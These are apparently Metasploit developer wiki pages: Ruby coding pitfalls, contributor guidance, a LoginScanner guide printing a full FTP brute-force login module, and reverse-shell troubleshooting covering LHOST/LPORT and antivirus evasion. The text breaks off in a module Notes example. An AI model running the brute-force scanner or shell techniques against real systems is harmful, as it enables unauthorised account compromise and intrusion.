# Deprecation notice!
Please see [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) for an authoritative coding guide. This document has fallen out of date. We don't write bad code any more! Hooray!
This is a collection of all the bad code we often see in Metasploit modules. You should avoid them, too.
Note: Some of these examples use puts() for demo purposes, but you should always use print_status / print_error when writing a module.
### Bad Examples You Should NOT Follow:
1. Not checking the return value of a Metasploit API
2. Ruby 1.9.3 vs 1.8.7... gotcha!
3. Not checking the return value when using match()
4. Not checking nil before accessing a method
5. Using exception handling to shut an error up
6. Not taking advantage of the 'ensure' block
7. Adding the 'VERBOSE' option
8. Neglecting to use 'vars_post' for send_request_cgi() when crafting a POST request
9. Bad variable naming style
10. Using global variables
11. Modifying the datastore during execution
**1. Not checking the return value of a Metasploit API**
```ruby
res = send_request_cgi({
'method' => 'GET',
'uri' => '/app/index.php'
})
# There's a bug here, because res can return nil (due to a timeout or other reasons)
# If that happens, you will hit a "undefined method `code' for nil:NilClass" error.
# The correct way should be: if res && res.code == 200
if res.code == 200
print_status("Response looks good")
else
print_error("Unexpected response")
end
```
**2. Ruby 1.9.3 vs 1.8.7... gotcha!**
```ruby
some_string = "ABC"
# This can cause unexpected results to your module.
# Better to always do: char = some_string[1, 1]
char = some_string[1]
if char == 'B'
puts "You will see this message in Ruby 1.9.3"
elsif char == 66
puts "You will see this message in Ruby 1.8.7"
end
```
```ruby
# 1.9 allows a comma after the last argument when calling
# a method while 1.8 does not. The most common place to
# see this error is in the update_info() section in a
# module's constructor.
some_method(
"arg1",
"arg2", # <-- This comma is a syntax error on 1.8.x
)
```
**3. Not checking the return value when using match()**
```ruby
str = "dragon! drag on! Not lizard, I don't do that tongue thing"
# This tries to print "Not snake", but it's not in the string,
# so you'll get this error: "undefined method `[]' for nil:NilClass"
puts str.match(/(Not snake)/)[0]
```
```ruby
# The above is better written as:
if (str =~ /(Not snake)/)
puts $1
end
```
**4. Not checking nil first before accessing a method**
```ruby
str = "These things are round and tasty, let's call them... tastycles!"
food = str.scan(/donut holes/)[0]
# food is nil, and nil has no method called "empty".
# This will throw an error: "undefined method `empty?' for nil:NilClass"
if food.empty? or food.nil?
puts "I don't know what it's called"
end
```
**5. Using exception handling to shut an error up**
```ruby
begin
# This block has 2 issues:
# Issue #1: sample() is not a method in 1.8.7
# Issue #2: Divided by 0 (race condition)
n = [0, 1, 2, 3, 4, 5].sample
1/n
rescue
# If the user reports a bug saying this code isn't
# working, it can be hard to debug exactly what went
# wrong for the user without a backtrace.
# When you do this, the error also won't be logged in
# framework.log, either.
# Note that rescuing ::Exception is especially harmful
# because it can even hide syntax errors.
end
```
**6. Not taking advantage of the 'ensure' block**
```ruby
# You should use the ensure block to make sure x always has a value,
# which also avoids repeating code
begin
n = [0, 1, 2].sample
x = 1/n
rescue ZeroDivisionError => e
puts "Are you smarter than a 5th grader? #{e.message}"
x = 0 # Can put this in the ensure block
rescue NoMethodError
puts "You must be using an older Ruby"
x = 0 # Can put this in the ensure block
end
puts "Value is #{x.to_s}"
```
**7. Adding the 'VERBOSE' option**
```ruby
register_options(
[
# You already have this. Just type 'show advanced' and you'll see it.
# So no need to register again
OptBool.new("VERBOSE", [false, 'Enable detailed status messages', false])
], self.class)
```
**8. Neglecting to use send_request_cgi()'s vars_get or vars_get when crafting a POST/GET request**
```ruby
data_post = 'user=jsmith&pass=hello123'
# You should use the 'vars_post' key instead of 'data',
# unless you're trying to avoid the API escaping your
# parameter names
send_request_cgi({
'method' => 'POST',
'uri' => '/',
'data' => data_post
})
```
**9. Bad variable naming style**
```ruby
# What's this, Java?
# The proper naming style in this case should be: my_string
myString = "hello, world"
```
**10. Using global variables**
```ruby
# $msg is a global variable that can be accessed anywhere within the program.
# This can induce bugs to other modules or mixins that are hard to debug.
# Use @instance variables instead.
# This is also mentioned in your HACKING file :-)
class Opinion
def initialize
# This variable shouldn't be shared with other classes
$msg = "It's called the Freedom of Information Act. The Hippies finally got something right."
end
end
class Metasploit3
def initialize
puts $msg
end
end
Opinion.new
Metasploit3.new
```
**11. Modifying the datastore during execution**
```ruby
# https://github.com/rapid7/metasploit-framework/issues/3853
datastore['BAD'] = 'This is bad.'
```
+20
View File
@@ -0,0 +1,20 @@
# Chat
A lot of our discussion happens on IRC in #metasploit on Freenode.
Please be patient and hang around for a while -- not everyone is awake
at the same time as you. =)
# Mailing list
The Metasploit development mailing list used to be hosted on SourceForge, but is now on Google Groups. Metasploit Hackers is dead, long live [Metasploit Hackers][list]. (Or [mailto:Metasploit Hackers][mailto]).
The old list [is archived on seclists.org][archive].
# Abuse
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to caitlin_condon@rapid7.com or todb@metasploit.com.
[archive]: http://seclists.org/metasploit/ "Metasploit mailing list archive"
[list]: https://groups.google.com/forum/#!forum/metasploit-hackers "Metasploit Hackers development mailing list"
[mailto]: mailto:metasploit-hackers@googlegroups.com
@@ -0,0 +1,65 @@
# Like hacking things? Start here.
Every so often, we'll get a request along the lines of, "Hey, I'm new to Metasploit, and I want to help!" The usual answer is something like, "Great! Here's our [framework bug tracker](https://github.com/rapid7/metasploit-framework/issues), get crackin!"
However, tackling core Metasploit Framework bugs or particularly squirrelly exploits probably isn't the right place for the new contributor. Believe me, everyone was a newbie once, there's no shame in that. Those bugs and vulns are usually complicated, and there are so many to choose from that it's hard to get started. Here are some ideas to get you started.
Metasploit is a tool by and for hackers, but the hackers that maintain it also happen to be software engineers. So, we have some hopefully easy-to-remember Do's and Don'ts in [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). Read up on those.
# Server exploits
Server exploits are always in demand; why bother with complicated social engineering campaigns when you can go straight to the pain point of a vulnerable network. Here are some search queries to get you started:
* [Remote exploits](https://www.exploit-db.com/?type=remote) from Exploit-DB
# Client Exploits
Client exploits generally run as an "evil service" that a remote client will connect to. They nearly always require some kind of user interaction to trigger, such a viewing a web page, downloading a file, or otherwise connecting to the service controlled by the attacker.
* [Browser Vulns](https://www.google.com/#bav=on.2,or.r_cp.r_qf.&q=site:securityfocus.com+%22Firefox%22+OR+%22Internet+Explorer%22+OR+%22Chrome%22+OR+%22Safari%22+OR+%22Opera%22+-%22Retired%22&safe=off) from SecurityFocus via Google search terms
# Local and Privilege Escalation Exploits
Privilege escalation exploits tend to require the attacker already have an account on a target computer. They are nearly always going to be implemented as Metasploit exploit modules under one of the [local](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/windows/local) trees (platform dependent), but sometimes they're better off as [post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post). This is especially true for privilege escalation bugs.
* [Local Vulns](https://www.exploit-db.com/?type=local) from Exploit-DB
# Unstable modules
Want to pick up where someone else left off? Super! Just check the guide on rescuing [[Unstable Modules]] and push these poor, unloved modules over the finish line with decent testing and code cleanup.
# Framework bugs and features
If exploit dev isn't your thing, but more straightforward Ruby development is, then here are some good places to get started:
* [Recent Bugs](https://github.com/rapid7/metasploit-framework/issues?q=is%3Aissue+is%3Aopen+label%3Abug), which tend to be either very easy or very hard to fix (not a lot of middle ground).
* [Feature requests](https://github.com/rapid7/metasploit-framework/issues?q=is%3Aissue+is%3Aopen+label%3Afeature), which is often in the same boat.
Along these same lines is a perennial need for better automated testing, down in the [spec directory](https://github.com/rapid7/metasploit-framework/tree/master/spec). If you have a talent for exploring strange and wonderful code bases, pick out a chunk of the Metasploit core code and define out what you expect for working behavior.
# Non-code
We can always use better documentation. Those guys over at Offensive Security do a great job with [Metasploit Unleashed](http://www.offensive-security.com/metasploit-unleashed/Main_Page), but as with all complex bodies of work, there are surely bugs to be found. If you have ideas on how to make the documentation on Metasploit clear and more accessible to more people, go nuts.
Write wiki articles in your fork (hint, [Gollum](https://github.com/gollum/gollum) is excellent for this) and let someone know about them, we'll be happy to reflect them here and maintain your credit. If you're interested in working with us on documentation long-term, that's even better; reach out on [Slack](https://metasploit.com/slack) for info on how best to make changes.
Ditto with YouTube screencasts of particular common tasks. Narration while you do it is great. People seem to love YouTube videos of this stuff -- there are over [40,000](http://www.youtube.com/results?search_query=metasploit&oq=metasploit) of the things out there, and we'd love for someone to step up and curate a top 10 or top 100 of those that we can promote here for new and experienced users.
For developer types: we are slowly but surely converting all of Metasploit to use standardized commenting using [YARD](https://yardoc.org), so we could always use more accurate and more comprehensive YARD documentation for pretty much anything found in `lib`. We will happily take pull requests that contain nothing but comment docs!
Again, there's always room on #metasploit on Freenode. Be helpful with the questions there, and people are more likely to help you in the future. Same goes for the [Metasploit Slack team](https://metasploit.com/slack), where all sorts of new and proficient users and devs are looking for help and camaraderie.
# The Usual Warnings
You probably shouldn't run proof of concept exploit code you find on the Internet on a machine you care about in a network you care about. That is generally considered a Bad Idea. You also probably shouldn't use your usual computer as a target for exploit development, since you are intentionally inducing unstable behavior.
Our preferred method of module submission is via a git pull request from a feature branch on your own fork of Metasploit. You can learn how to create one here:
[[Landing-Pull-Requests]]
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
# Thank you
In case nobody's said it yet: Thanks for your interest and support! Exploit developers from the open source community are the soul of Metasploit, and by contributing your time and talent, you are helping advance the state of the art for intelligent IT defense. We simply couldn't do all of this without you.
@@ -0,0 +1,475 @@
So, you want to make a Login Scanner Module in Metasploit, eh? There are a few things you will need to know before you begin. This article will try to illustrate all the moving pieces involved in creating an effective bruteforce/login scanner module.
- [Credential objects](#credential-objects)
- [Result objects](#result-objects)
- [CredentialCollection](#credentialcollection)
- [LoginScanner Base](#loginscanner-base)
* [Attributes](#attributes)
* [Methods](#methods)
* [Constants](#constants)
- [Pulling it all Together in a module](#pulling-it-all-together-in-a-module)
* [The Cred Collection](#the-cred-collection)
* [Initialising the Scanner](#initialising-the-scanner)
* [The scan block](#the-scan-block)
* [ftp_login final view](#ftp_login-final-view)
# Credential Objects
`Metasploit::Framework::Credential
(lib/metasploit/framework/credential.rb)`
These objects represent the most basic concept of how we now think about Credentials.
- **Public**: The public part of a credential refers to the part that can be publicly known. In almost all cases this is the username.
- **Private**: The private part of the credential, this is the part that should be a secret. This currently represents: Password, SSH Key, NTLM Hash etc.
- **Private Type**: This defines what type of private credential is defined above
- **Realm**: This represents an authentication realm that the credential is valid for. This is a tertiary part of the authentication process. Examples include: Active Directory Domain, Postgres Database etc.
- **Realm Key**: This defines what type of Realm the Realm Attribute represents.
- **Paired**: This attribute is a boolean value that sets whether the Credential must have both a public and private to be valid.
All LoginScanners use Credential objects as the basis for their attempts.
# Result Objects
`Metasploit::Framework::LoginScanner::Result
(lib/metasploit/framework/login_scanner/result.rb)`
These are the objects yielded by the `scan!` method on each `LoginScanner`. They contain:
- **Access Level**: An optional Access Level which can describe the level of access granted by the login attempt.
- **Credential** : The Credential object that achieved that result
- **Proof**: An optional proof string to show why we think the result is valid
- **Status**: The status of the login attempt. These values come from Metasploit::model::Login::Status , examples include "Incorrect", "Unable to Connect", "Untried" etc
# CredentialCollection
`Metasploit::Framework::CredentialCollection
(lib/metasploit/framework/credential_collection.rb)`
This class is created by the `build_credential_collection` method provided by the `Msf::Auxiliary::AuthBrute` mixin. It takes a bunch of options that when specified, will take priority over the corresponding datastore options. Typical uses only need to specify the `username:` and `password:` options since those can be different from one module to another (e.g. 'USERNAME', 'SMBUser', 'HttpUsername', etc.). It can be passed in as the `cred_details` on the `LoginScanner`, and responds to #each and yields crafted Credentials.
The `build_credential_collection` method will handle prepending usernames and passwords as well as skipping entries as configured by the `DB_SKIP_EXISTING` option.
**Example (from modules/auxiliary/scanner/ftp/ftp_login.rb)**:
```ruby
cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD'],
prepended_creds: anonymous_creds
)
```
# LoginScanner Base
`Metasploit::Framework::LoginScanner::Base
(lib/metasploit/framework/login_scanner/base.rb)`
This is a Ruby Module that contains all the base behaviour for all `LoginScanners`. All `LoginScanner` classes should include this module.
The specs for this behaviour are kept in a shared example group. Specs for your `LoginScanner` should use the following syntax to include these tests:
```ruby
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false
```
Where `has_realm_key` and `has_default_realm` should be set according to whether your `LoginScanner` has those things. (More on this later)
LoginScanners always take a collection of Credentials to try and one host and port. So each `LoginScanner` object attempts to login to only one specific service.
## Attributes
- **`connection_timeout`**: The time to wait for a connection to timeout
- **`cred_details`**: An object that yields credentials on each (like credentialCollection or an Array)
- **`host`**: The address for the target host
- **`port`**: The port number for the target service
- **`proxies`**: Any proxies to use in the connection (some scanners might not support this)
- **`stop_on_success`**: Whether to stop trying after a successful login is found
## Methods
### each_credential
You will not have to worry much about this method, Be aware that it is there. It iterates through whatever is in `cred_details`, does some normalization and tries to make sure each Credential is properly setup for use by the given `LoginScanner`. It yields each Credential in a block.
```ruby
def each_credential
cred_details.each do |raw_cred|
# This could be a Credential object, or a Credential Core, or an Attempt object
# so make sure that whatever it is, we end up with a Credential.
credential = raw_cred.to_credential
if credential.realm.present? && self.class::REALM_KEY.present?
credential.realm_key = self.class::REALM_KEY
yield credential
elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present?
credential.realm_key = self.class::REALM_KEY
credential.realm = self.class::DEFAULT_REALM
yield credential
elsif credential.realm.present? && self.class::REALM_KEY.blank?
second_cred = credential.dup
# Strip the realm off here, as we don't want it
credential.realm = nil
credential.realm_key = nil
yield credential
# Some services can take a domain in the username like this even though
# they do not explicitly take a domain as part of the protocol.
second_cred.public = "#{second_cred.realm}\\#{second_cred.public}"
second_cred.realm = nil
second_cred.realm_key = nil
yield second_cred
else
yield credential
end
end
end
```
### set_sane_defaults
This method will be overridden by each specific `LoginScanner`. This is called at the end of the initializer and sets any sane defaults for attributes that have them and were not given a specific value in the initializer.
```ruby
# This is a placeholder method. Each LoginScanner class
# will override this with any sane defaults specific to
# its own behaviour.
# @abstract
# @return [void]
def set_sane_defaults
self.connection_timeout = 30 if self.connection_timeout.nil?
end
```
### attempt_login
This method is just a stub on the Base mixin. It will be overridden in each LoginScanner class to contain the logic to take one single Credential object and use it to make a login attempt against the target service. It returns a `::Metasploit::Framework::LoginScanner::Result` object containing all the information about that attempt's result.
For an example let's look at the attempt_login method from `Metasploit::Framework::LoginScanner::FTP (lib/metasploit/framework/login_scanner/ftp.rb)`
```ruby
# (see Base#attempt_login)
def attempt_login(credential)
result_options = {
credential: credential
}
begin
success = connect_login(credential.public, credential.private)
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
success = false
end
if success
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
elsif !(result_options.has_key? :status)
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
```
### scan!
This method is the main one you will be concerned with. This method does several things:
- It calls valid! which will check all of the validations on the class and raise an `Metasploit::Framework::LoginScanner::Invalid` if any of the Validations fail. This exception will contain all the errors messages for any failing validations.
- it keeps track of the connection error count, and will bail out if we have too many connection errors or too many in a row
- it runs through all of the credentials by calling each_credential with a block
- in that block it passes each credential to `#attempt_login`
- it yields the Result object into the block it is passed
- if stop_on_success is set it will also exit out early if it the result was a success
```ruby
# Attempt to login with every {Credential credential} in
# {#cred_details}, by calling {#attempt_login} once for each.
#
# If a successful login is found for a user, no more attempts
# will be made for that user.
#
# @yieldparam result [Result] The {Result} object for each attempt
# @yieldreturn [void]
# @return [void]
def scan!
valid!
# Keep track of connection errors.
# If we encounter too many, we will stop.
consecutive_error_count = 0
total_error_count = 0
successful_users = Set.new
each_credential do |credential|
next if successful_users.include?(credential.public)
result = attempt_login(credential)
result.freeze
yield result if block_given?
if result.success?
consecutive_error_count = 0
break if stop_on_success
successful_users << credential.public
else
if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
consecutive_error_count += 1
total_error_count += 1
break if consecutive_error_count >= 3
break if total_error_count >= 10
end
end
end
nil
end
```
## Constants
Although not defined on Base, each `LoginScanner` has a series of Constants that can be defined on it to assist with critical behaviour.
- **`DEFAULT_PORT`**: `DEFAULT_PORT` is a simple constant for use with `set_sane_defaults`. If the port isn't set by the user it will use `DEFAULT_PORT`. This is put in a constant so it can be quickly referenced from outside the scanner.
These next two Constants are used by the LoginScanner namespace method classes_for_services. This method invoked by `Metasploit::Framework::LoginScanner.classes_for_service(<Mdm::service>)` will actually return an array of LoginScanner classes that may be useful to try against that particular Service.
- **`LIKELY_PORTS`** : This constant holds n array of port numbers that it would be likely useful to use this scanner against.
- **`LIKELY_SERVICE_NAMES`** : Like above except with strings for service names instead of port numbers.
- **`PRIVATE_TYPES`** : This contains an array of symbols representing the different Private credential types it supports. It should always match the demodulize result for the Private class i.e :password, `:ntlm_hash`, `:ssh_key`
These constants are fore `LoginScanners` that have to deal with Realms such as AD domains or Database Names.
- **`REALM_KEY`**: The type of Realm this scanner expects to deal with. Should always be a constants from `Metasploit::Model::Login::Status`
- **`DEFAULT_REALM`**: Some scanners have a default realm (like WORKSTATION for AD domain stuff). If a credential is given to a scanner that requires a realm, but the credential has no realm, this value will be added to the credential as the realm.
- **`CAN_GET_SESSION`**: this should be either true or false as to whether we expect we could somehow get a session with a Credential found from this scanner.
**example1 ( Metasploit::Framework::LoginScanner::FTP)**
```ruby
DEFAULT_PORT = 21
LIKELY_PORTS = [ DEFAULT_PORT, 2121 ]
LIKELY_SERVICE_NAMES = [ 'ftp' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
```
**example2 ( Metasploit::Framework::LoginScanner::SMB)**
```ruby
CAN_GET_SESSION = true
DEFAULT_REALM = 'WORKSTATION'
LIKELY_PORTS = [ 139, 445 ]
LIKELY_SERVICE_NAMES = [ "smb" ]
PRIVATE_TYPES = [ :password, :ntlm_hash ]
REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
```
# Pulling it all Together in a module
So now you hopefully have a good idea of all the moving pieces involved in creating a LoginScanner. The next step is using your brand new LoginScanner in an actual module.
Let's look at the `ftp_login` module:
`def run_host(ip)`
Every Bruteforce/Login module should be a scanner and should use the run_host method which will run once for each RHOST.
## The Cred Collection
```ruby
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
prepended_creds: anonymous_creds
)
```
So here we see the CredentialCollection getting created using the datastore options. We pass in the options for Cred creation such as wordlists, raw usernames and passwords, whether to try the username as a password, and whether to try blank passwords.
you'll also notice an option here called `prepended_creds`. FTP is one of the only module to make use of this, but it is generally available through the CredentialCollection. This option is an array of `Metasploit::Framework::Credential` objects that should be spit back by the collection before any others. FTP uses this to deal with testing for anon FTP access.
## Initialising the Scanner
```ruby
scanner = Metasploit::Framework::LoginScanner::FTP.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 30
)
```
Here we actually create our Scanner object. We set the IP and Port based on data the module already knows about. We can pull any user supplied proxy data from the datatstore. we also pull from the datastore whether to stop on a success for this service. The cred details object is populated by our Credentialcollection which will handle all the credential generation for us invisibly.
This gives us our scanner object, all configured and ready to go.
## The Scan Block
```ruby
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
```
This is the real heart of the matter here. We call s`can!` on our scanner, and pass it a block. As we mentioned before, the scanner yields each attempt's Result object into that block. We check the result's status to see if it was successful or not.
The result object now as a `.to_h` method which returns a hash compatible with our credential creation methods. We take that hash and merge in our module specific information and workspace id.
In the case of a success we build some info hashes and call `create_credential`. This is a method found in the metasploit-credential gem under `lib/metasploit/credential/creation.rb` in a mixin called `Metasploit::Credential::Creation`. This mixin is included in the Report mixin, so if your module includes that mixin you'll get these methods for free.
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the the status.
Finally, for a success, we output the result to the console.
In the case of a failure, we call the `invalidate_login` method. This method also comes from the Creation mixin. This method looks to see if a Login object already exists for this credential:service pair. If it does, it updates the status to the status we got back from the scanner. This is primarily to account for Login objects created by things like Post modules that have an untried status.
## `ftp_login` Final View
Pulling it all together, we get a new `ftp_login` module that looks something like this:
```ruby
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ftp'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def proto
'ftp'
end
def initialize
super(
'Name' => 'FTP Authentication Scanner',
'Description' => %q{
This module will test FTP logins on a range of machines and
report successful logins. If you have loaded a database plugin
and connected to a database this module will record successful
logins and hosts so you can track your access.
},
'Author' => 'todb',
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false])
], self.class)
register_advanced_options(
[
OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false])
]
)
deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password'
@accepts_all_logins = {}
end
def run_host(ip)
print_status("#{ip}:#{rport} - Starting FTP login sweep")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
prepended_creds: anonymous_creds
)
scanner = Metasploit::Framework::LoginScanner::FTP.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 30
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
# Always check for anonymous access by pretending to be a browser.
def anonymous_creds
anon_creds = [ ]
if datastore['RECORD_GUEST']
['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password|
anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password)
end
end
anon_creds
end
def test_ftp_access(user,scanner)
dir = Rex::Text.rand_text_alpha(8)
write_check = scanner.send_cmd(['MKD', dir], true)
if write_check and write_check =~ /^2/
scanner.send_cmd(['RMD',dir], true)
print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access")
return 'Read/Write'
else
print_status("#{rhost}:#{rport} - User '#{user}' has READ access")
return 'Read-only'
end
end
end
```
@@ -0,0 +1,78 @@
## On this page
* [On this page](#on-this-page)
* [Background knowledge](#background-knowledge)
* [Stagers, stages, and handlers](#stagers-stages-and-handlers)
* [LHOST and LPORT](#lhost-and-lport)
* [LHOST](#lhost)
* [LPORT](#lport)
* [Check dead shells](#check-dead-shells)
* [Quick things to check](#quick-things-to-check)
* [Not so quick things to check](#not-so-quick-things-to-check)
Dead shells. Nobody likes them. Yet, despite the advances made in the Metasploit stagers and Meterperter itself, we still see them regularly.
There are many reasons why shells refuse to connect or die after they're established. The goal of this post is to help people understand why. Hopefully, by the end, the most common causes will be understood, and users can fix things themselves.
## Background knowledge
Prior to diving into the possible breakages and their causes, it's important to have some background knowledge of stagers, and how Meterpreter works. Please be sure to read the following articles prior to reading the rest of this post:
* [[Meterpreter Stageless Mode]] - Covers the exploitation process, and how Meterpreter sessions are established. This is important because understanding how the different components interact and what allows for easier debugging later.
* [[Meterpreter Configuration]] - Covers how configuration works in Meterpreter. This is important because it highlights the separation of configuration in stagers and Meterpreter. This alone is the key to many breakages, especially in HTTP/S payloads.
* [[The ins and outs of HTTP and HTTPS communications in Meterpreter and Metasploit Stagers]] - Covers the detail of HTTP/S based communications in the stagers and in Meterpreter itself.
## Stagers, stages, and handlers
Each exploit and handler is made up of multiple things, and they're all independent:
* **Stager**: This is the small bit of code that is first executed by the target. It contains it's own bundled implementation of a communications channel. It has the goal of establishing communication with Metasploit, downloading the **stage**, and invoking it. It has it's own configuration.
* **Stage**: This is the second payload that is executed by the target. It is sent to the target via the communications channel that was opened by the **stage**. Once downloaded, it is invoked, and from there, it takes over. It has its own configuration.
* **Handler**: This is the code that runs on the attacker's machine. It is responsible for handling the attacker-side of the communications channel that is established by the **stager**. It is responsible for uploading the **stage**. It is responsible for handling communication between the attacker and the target once the stage has taken over from the stager.
In some cases, there might be multiple stages (as is the case with POSIX Meterpreter). This is called an **intermediate** stage. Usually, these stages are slightly bigger than the stager and can do more work to help establish communications.
The most important thing to remember is that both the **stager** and the **stage** have their own configurations that are **independent**. THE MOST COMMON cause of dead shells is the result of the **stage** not having the correct configuration; in other words, it's different to that specified in the **stager**.
## LHOST and LPORT
Any user of Metasploit will tell you that they know what `LHOST` and `LPORT` mean, yet it's incredibly common to find out that their understanding isn't 100% correct. To prevent dead sessions that are related to a misconfiguration of these values, we need to make sure we understand what they mean.
## LHOST
`LHOST` is short for Local Host. This value represents the IP address or hostname that **stagers** and **stages** should attempt to connect to. It is where the **handler** can be reached. This doesn't mean that this is where the handler actually exists.
`LHOST` is a value that is meaning from the perspective of the target machine. This value is passed along as part of the configuration for **stagers** and **stages** and tells the target machine where to go to reach the handler, and so this has to map to a value that is reachable by the target.
A **handler** obviously needs to listen on a host/IP for the incoming connection. In cases where the `LHOST` value, for example the address that the target is able to reach, is the same as that which the host can listen on, no extra work has to be done. The `LHOST` value is used by the handler.
However, if some kind of NAT or port forward is enabled, or if the handler is behind a firewall, then setting `LHOST` isn't enough. In order to listen on the appropriate interface, another setting must be used called `ReverseListenerBindHost`. This value tells the **handler** to listen on a different interface/IP, but it doesn't change the fact that the `LHOST` value is given to the target when the **stage** is uploaded.
In short, `LHOST` must always remain the IP/host that is routable from the target, and if this value is not the same as what the listener needs to bind to, then change the `ReverseListenerBindHost` value. If you're attacking something across the Internet and you specify an internal IP in `LHOST`, you're doing it wrong.
## LPORT
The principles of `LHOST` and `ReverseListenerBindHost` can be applied to `LPORT` and `ReverseListenerBindPort` as well. If you have port forwarding in place, and your listener needs to bind to a different port, then you need to make use of the `ReverseListenerBindPort` setting.
The classic example of this case is where an attacker wants to make use of port `443`, but rightfully doesn't want to run Metasploit as `root` just so they can directly bind to ports lower than `1024`. Instead, the set up a port forward (on their router, or using `iptables`) so that `443` forwards to `8443`, with a goal of accepting connections on that port instead.
To accommodate this scenario, the `LHOST` value must **still contain `443`**, as this is the port that the target machine needs to establish communications on; `443` is the value that needs to go out with the **stager** and the **stage** configurations. Metasploit needs to bind locally to port `8443`, and so the **handler** is configured so that `ReverseListenerBindPort` has this value instead.
When the handler launches, it binds to `8443` and handles any connections it receives. When a stage is generated, it uses `443` from `LHOST` value to populate the configuration.
If the attacker makes the mistake of either setting `LPORT` to `8443`, or leaving `LPORT` as `443` and not using `ReverseListenerBindPort`, then the result is either a dead shell after the first stage, or no connect back at all.
## Check dead shells
There are a few things to check for when debugging a dead shell.
### Quick things to check
* Make sure that `LHOST` is set to a routable address from the target, and not a local listen address.
* Make sure that `LPORT` is set to the port number that the target needs to connect to.
* Make sure that `ReverseListenerBindPort` is set if port forwarding is enabled and the traffic is being routed to a different port.
* Make sure that your listener's configuration matches that of the target from an architecture perspective. If you mix x64 listeners with x86 payloads (and vice versa), things will go bad.
### Not so quick things to check
* If the target is running AntiVirus there's a chance that the **stage** , for example `metsrv`, is being caught while being uploaded. `reverse_tcp` and `reverse_http` **stagers** download `metsrv` _without_ any encryption, and so the content of the DLL is visible to anything watching on the wire. `reverse_https` can still get caught in cases where AV is doing MITM content inspection. In this case, consider encoding your payloads, or if possible using stageless Meterpreter instead.
@@ -0,0 +1,72 @@
New Metasploit modules are now required to contain a `Notes` section containing additional information such as the `Stability`, `Reliability` and `SideEffects` associated with running the module.
Example:
```ruby
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Module name',
'Description' => %q{
Module description
},
'Author' =>
[
'Author name'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-XXXX']
],
'DisclosureDate' => '2020-03-26',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
